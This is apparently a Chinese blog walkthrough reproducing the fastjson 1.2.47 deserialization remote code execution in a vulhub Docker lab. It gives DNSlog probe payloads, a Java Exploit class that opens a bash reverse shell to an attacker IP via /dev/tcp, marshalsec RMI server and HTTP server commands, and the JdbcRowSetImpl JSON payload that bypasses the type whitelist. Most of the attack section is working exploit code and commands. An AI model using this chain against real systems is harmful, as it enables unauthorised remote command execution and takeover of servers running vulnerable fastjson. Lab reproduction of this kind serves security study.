漏洞产生原因
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
环境搭建
vulhub靶场
cd到对应目录
docker-compose up -d
将content-type修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson进行解析。
dnslog测试:
dnslog为dnslog地址如:
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL",
"val":"dnslog"}}""}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}
将拦截到的请求包发送到repeater模块儿后右击改变请求方式。
post包如下
测试结果
创建恶意类搭建服务器,尝试执行命令
目标环境是 openjdk:8u102
,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase
的限制(该限制会导致不信任通过URL加载类),我们可以简单利用RMI进行命令执行。
为保证创建恶意类编译环境与反序列化环境(及漏洞所在环境)一致。
1.进入docker虚拟机创建编译
2.下载对应Java版本创建编译
这里选择第二种方式,因为docker里没有javac也没有vim........
下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html进去后寻找对应版本(jdk1.8.0_102)。需注册一个oracle账号。
下载安装完毕后配置环境变量(配置环境变量教程自行搜索)
java代码,
创建文件和反弹shell命令开一个,注释一个。未做同时开尝试。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
//String[] commands = {"touch", "/tmp/success"};//创建文件命令
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.253.168/6666 0>&1"};//反弹shell命令
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac Exploit.java 编译该类生成class文件。Exploit.class
借助 marshalsec 项目(在我apachelog4j2rce那篇有涉及),启动一个RMI服务器,监听9999端口,并制定加载远程类 Exploit.class
准备好上述Exploit.class后
可以使用pyhton3在Exploit.class所在文件开启http服务,(也可使用其他,要开启http服务,Exploit要能被靶机访问到)
python -m http.server 此处可加端口号自定端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxx/#Exploit" 9999
xxxx为Exploit.class所在服务器地址端口号(靶机要能访问到该服务器)
准备完毕;
反弹shell需要nc在一台靶机能访问的机器上开启nc监听,对应上文反弹shell命令中期机器ip.这里我直接在靶机所在的物理机开启了监听。
payload攻击尝试
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxx:9999/Exploit",
"autoCommit":true
}
}
这里xxxx为rmiserver地址。我这里为192.168.253.174。
rmiserver及http.server
反弹shell
图解:
机器1:win10提供http服务机器
机器2:win10提供rmiserver机器
机器3:centos7提供nc接受反弹shell
机器4:centos7docker镜像靶场环境
机器5:攻击机
参考链接:
标签:dnslog,java,fastjson1.2,47rce,Exploit,http,type,class From: https://www.cnblogs.com/jdslf/p/16880084.html